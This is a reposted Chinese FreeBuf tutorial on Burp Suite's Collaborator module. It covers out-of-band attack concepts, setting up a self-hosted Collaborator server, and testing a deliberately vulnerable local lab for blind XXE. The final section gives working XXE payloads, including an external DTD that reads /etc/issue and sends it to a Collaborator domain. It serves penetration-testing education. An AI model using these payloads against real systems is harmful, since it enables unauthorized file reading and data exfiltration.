Burpsuite Collaborato模块详解

2019 年 1 月 10 日 FreeBuf

Burp suite Pro自从v1.6.15版本开始引入了一种名为Burp Collaborator的模块,该模块的作用简单的说就是集合了DNS log, http_https log和smtp_smtps log的记录器,有点类似国内的Ceye平台。

为了解释这个模块,burp引入了In-band attack与 out-band attack(带内与带外攻击)两个概念,两者最主要的区别在于数据的流动方向和参与者的数量。

带内攻击(In-band attack)是平时最常见的渗透测试模型:

通常在渗透测试过程中,无论是手工还是利用工具都是由攻击端发送含有payload的数据给被攻击端,然后校验被攻击端返回的数据。在这个模型中角色只有两个,流量只有两个信道。

带外攻击(out-band attack)则是Burp Collaborator的攻击模型:

在带外攻击中由攻击者发送有害流量到被攻击者,但是数据不会直接返回而是转向了第三方服务器,最后返回被攻击者。在带外攻击中,数据走三个信道,有三个角色。当然有时候第三方服务器和攻击者可以在同一个终端上

Burp Collaborator是一个c/s结构的服务器。在Project options->Misc->Burp Collaborator Server是配置、校验Burp Collaborator服务器的地方。

而在Burp->Burp Collaborator Client是查看服务器信息的地方。

0x2 Burp Collaborator Server的搭建

Burp Collaborator 是一个C/S结构的应用程序,C自然是burp的客户端,S则可以根据情况而定。

0x01 Burp自带的服务器

0x02自建服务器

环境在https://github.com/0xs1riu5/Writeup/tree/master/0x15Burp%E7%9A%84Collaborator%E4%BB%8B%E7%BB%8D。

Burp Collaborator允许自建服务器,而且自建Collaborator服务器是不需要Pro授权的。自建服务器根据具体的网络分为两种。

0x001 内网

优点:方便灵活,在无网络的情况下(比如CTF比赛和内网测试)也可以使用。

缺点:无DNS log,https log和 smtps log。

搭建内网环境已经封装成了docker,前往Docker_Server_Inner目录下:

docker-compose build
docker-compose up -d

0x002 外网

与内网搭建相比,外网就比较麻烦了。

所需材料:

VPS

域名:(从godaddy买的,然后移交到了cloudflare下进行控制),以my-subdomain-for-burp.luffy.com为例(假域名,需要改成自己的二级域名)

LetsEncrypt(免费的ssl加密证书)

Burp Suite Pro

Docker

0x0001 配置SSL证书

wget https://raw.githubusercontent.com/certbot/certbot/master/certbot-auto -O /usr/local/bin/certbot-auto
chmod a+x /usr/local/bin/certbot-auto
certbot-auto
certbot-auto certonly -d my-subdomain-for-burp.luffy.com -d *.my-subdomain-for-burp.luffy.com  --server https://acme-v02.api.letsencrypt.org/directory --manual --agree-tos  --email=you-email@qq.com --manual-public-ip-logging-ok --preferred-challenges dns-01

最后生成的证书默认是放在/etc/letsencrypt/目录下的。

然后前往cloudflare添加两个TXT记录:

_acme-challenge.my-subdomain-for-burp.luffy.com -> en9Gf... _acme-challenge.my-subdomain-for-burp.luffy.com -> Ffzzws...

0x0002 Burp Collaborator Server的配置

将域名和IP改成对应的二级域名和VPS公网IP地址:

docker-compose build
docker-compose up -d

0x0003 修改A记录和NS记录

1.NS记录指向ns1.my-subdomain-for-burp.luffy.com;

2.A记录指向公网IP。

测试成功。

但是Burp Collaborator有一个缺点就是数据无法持久化,Burp Suite 不可能保存Collaborator的上下文。关闭client那么所有的数据就丢失了。现在也只能期待以后Burp会添加这方面的功能了。

现在为止有一个很好的折衷的方案就是在自建的服务器上开启DEBUG功能(我在docker中已经启用了),查看log信息,Burp自带的服务器就不可能实现了。

我把日志内容导向到了logs目录下的burp.log文件。

0x3 漏洞测试

0x01 XXE

前往Docker_vul_JavaVulnerableLab,这个XXE是回显式的,不过我按照盲注的方式测试:

docker-compose build
docker-compose up -d

启用之后访问 http://127.0.0.1:8080/vulnerability/Injection/xxe.jsp。

忙注的校验漏洞的PAYLOAD:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY hello SYSTEM "http://cfv17n86l6ri6atl5kbebbxaa1gr4g.burpcollaborator.net">]><users><username>Neo&hello;</username><email>neo@matrix</email></users>

实现文件读取。

新建一个evil.xml文件,放在web目录下:

<!ENTITY % file SYSTEM "file:///etc/issue">
<!ENTITY % ent "<!ENTITY data SYSTEM 'http://tzwwz7vl66d1gir1nzihuc4hd8jy7n.burpcollaborator.net/%file;'>">

然后修改POST包:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxegsd76 SYSTEM "http://172.168.46.145:6080/evil.xml"> %xxegsd76; %ent; ]><users><username>Neo&data;</username><email>neo@matrix</email></users>

*本文作者:s1riu5,转载请注明来自FreeBuf.COM

登录查看更多
2

相关内容

服务器,也称伺服器,是提供计算服务的设备。由于服务器需要响应服务请求,并进行处理,因此一般来说服务器应具备承担服务并且保障服务的能力。
服务器的构成包括处理器、硬盘、内存、系统总线等,和通用的计算机架构类似,但是由于需要提供高可靠的服务,因此在处理能力、稳定性、可靠性、安全性、可扩展性、可管理性等方面要求较高。
【IJCAI2020-华为诺亚】面向深度强化学习的策略迁移框架
专知会员服务
27+阅读 · 2020年5月25日
专知会员服务
60+阅读 · 2020年3月19日
《深度学习》圣经花书的数学推导、原理与Python代码实现
TensorFlow Lite指南实战《TensorFlow Lite A primer》,附48页PPT
专知会员服务
69+阅读 · 2020年1月17日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
95+阅读 · 2019年12月4日
Keras作者François Chollet推荐的开源图像搜索引擎项目Sis
专知会员服务
29+阅读 · 2019年10月17日
ExBert — 可视化分析Transformer学到的表示
专知会员服务
31+阅读 · 2019年10月16日
[综述]深度学习下的场景文本检测与识别
专知会员服务
77+阅读 · 2019年10月10日
Opencv+TF-Slim实现图像分类及深度特征提取
极市平台
16+阅读 · 2019年8月19日
“黑客”入门学习之“windows系统漏洞详解”
安全优佳
8+阅读 · 2019年4月17日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
网络舆情分析
计算机与网络安全
20+阅读 · 2018年10月18日
基于attention的seq2seq机器翻译实践详解
黑龙江大学自然语言处理实验室
11+阅读 · 2018年3月14日
一文详解聚类和降维(附实例、代码)
数据派THU
7+阅读 · 2017年9月3日
如何用Python做舆情时间序列可视化?
CocoaChina
11+阅读 · 2017年7月21日
Arxiv
3+阅读 · 2019年9月5日
How to Fine-Tune BERT for Text Classification?
Arxiv
13+阅读 · 2019年5月14日
Arxiv
8+阅读 · 2019年3月21日
Arxiv
5+阅读 · 2018年5月1日
Arxiv
5+阅读 · 2015年9月14日
VIP会员
相关VIP内容
【IJCAI2020-华为诺亚】面向深度强化学习的策略迁移框架
专知会员服务
27+阅读 · 2020年5月25日
专知会员服务
60+阅读 · 2020年3月19日
《深度学习》圣经花书的数学推导、原理与Python代码实现
TensorFlow Lite指南实战《TensorFlow Lite A primer》,附48页PPT
专知会员服务
69+阅读 · 2020年1月17日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
95+阅读 · 2019年12月4日
Keras作者François Chollet推荐的开源图像搜索引擎项目Sis
专知会员服务
29+阅读 · 2019年10月17日
ExBert — 可视化分析Transformer学到的表示
专知会员服务
31+阅读 · 2019年10月16日
[综述]深度学习下的场景文本检测与识别
专知会员服务
77+阅读 · 2019年10月10日
相关资讯
Opencv+TF-Slim实现图像分类及深度特征提取
极市平台
16+阅读 · 2019年8月19日
“黑客”入门学习之“windows系统漏洞详解”
安全优佳
8+阅读 · 2019年4月17日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
网络舆情分析
计算机与网络安全
20+阅读 · 2018年10月18日
基于attention的seq2seq机器翻译实践详解
黑龙江大学自然语言处理实验室
11+阅读 · 2018年3月14日
一文详解聚类和降维(附实例、代码)
数据派THU
7+阅读 · 2017年9月3日
如何用Python做舆情时间序列可视化?
CocoaChina
11+阅读 · 2017年7月21日
Top
微信扫码咨询专知VIP会员